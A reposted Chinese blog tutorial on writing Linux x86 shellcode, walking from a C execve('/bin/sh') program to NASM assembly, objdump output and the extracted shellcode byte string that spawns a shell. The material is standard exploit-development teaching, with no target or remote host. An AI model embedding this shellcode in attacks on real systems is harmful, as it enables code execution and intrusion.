博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
linux下shellcode编写入门
阅读量:4628 次
发布时间:2019-06-09

本文共 1542 字,大约阅读时间需要 5 分钟。

继续更新

linux下shellcode的编写:

首先在windows下写过shellcode的童鞋都知道,linux下的编写方法也是一样的,就拿一个简单的生成新shell作为实例:

首先C语言的表达如下:

shellcode_execve.c

#include
int main(){ char *name[2]; name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL);}

编译:gcc shellcode_execve.c -o shellcode_execve

运行:./shellcode_execve

sh-4.1# 

正常弹出一个shell,证明这个想法是可行的

首先函数execve的三个参数分别入栈

接着调用int x80中断的11号系统调用编号(即eax赋值为11)

写出shellcode_execve.asm

section .textglobal _start_start:xor eax,eaxpush eaxpush 0x68732f6e ;字符串/bash//shpush 0x69622f2f mov ebx,esppush eaxpush ebxmov ecx,espmov al,0xb     ;0xb=11hint 0x80

编译:nasm -f elf shellcode_execve.asm

连接:ld -o shellcode_execve shellcode_execve.o

运行:./shellcode_execve

sh-4.1# 

可以正常运行

接下来要提取出机器码来,用objdump

root@seaeast:~# objdump -d shellcode_execveshellcode_execve: file format elf32-i386Disassembly of section .text:08048060 <_start>:8048060:    31 c0                      xor %eax,%eax8048062:    50                          push %eax8048063:    68 6e 2f 73 68             push $0x68732f6e8048068:    68 2f 2f 62 69          push $0x69622f2f804806d:    89 e3                      mov %esp,%ebx804806f:    50                           push %eax8048070:    53                          push %ebx8048071:    89 e1                      mov %esp,%ecx8048073:    b0 0b                     mov $0xb,%al8048075:    cd 80                      int $0x80

shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

 

转载于:https://www.cnblogs.com/Lamboy/archive/2012/07/31/2616103.html

你可能感兴趣的文章
PAT Basic 1072
查看>>
作业分析,Karger最小割:(python)Engineering: Algorithms1 - SELF PACED Algorithms: Design and Analysis...
查看>>
[JS-JQuery]基础
查看>>
“cyl projection cannot cross pole” 解决方法
查看>>
[亲测]在Mac下配置php开发环境:Apache+php+MySql
查看>>
mono修改配置
查看>>
Vue 环境搭建(win10)
查看>>
iOS7系统iLEX RAT冬青鼠安装教程:无需刷机还原纯净越狱系统
查看>>
typeof操作符的返回值
查看>>
一个非常简单的 ASP.NET MVC 示例:长轮询(又叫:反向 AJAX,英文名:Comet)实现...
查看>>
ddt 测试用例UI运用
查看>>
01 two sum
查看>>
Media Queries
查看>>
常见的函数式编程模型
查看>>
zip函数的使用
查看>>
C++回溯法走迷宫
查看>>
查看线程的运行状态
查看>>
vault-in-kubernetes
查看>>
RequireJS学习笔记(转)
查看>>
从网站上扒网页,保存为file文件格式
查看>>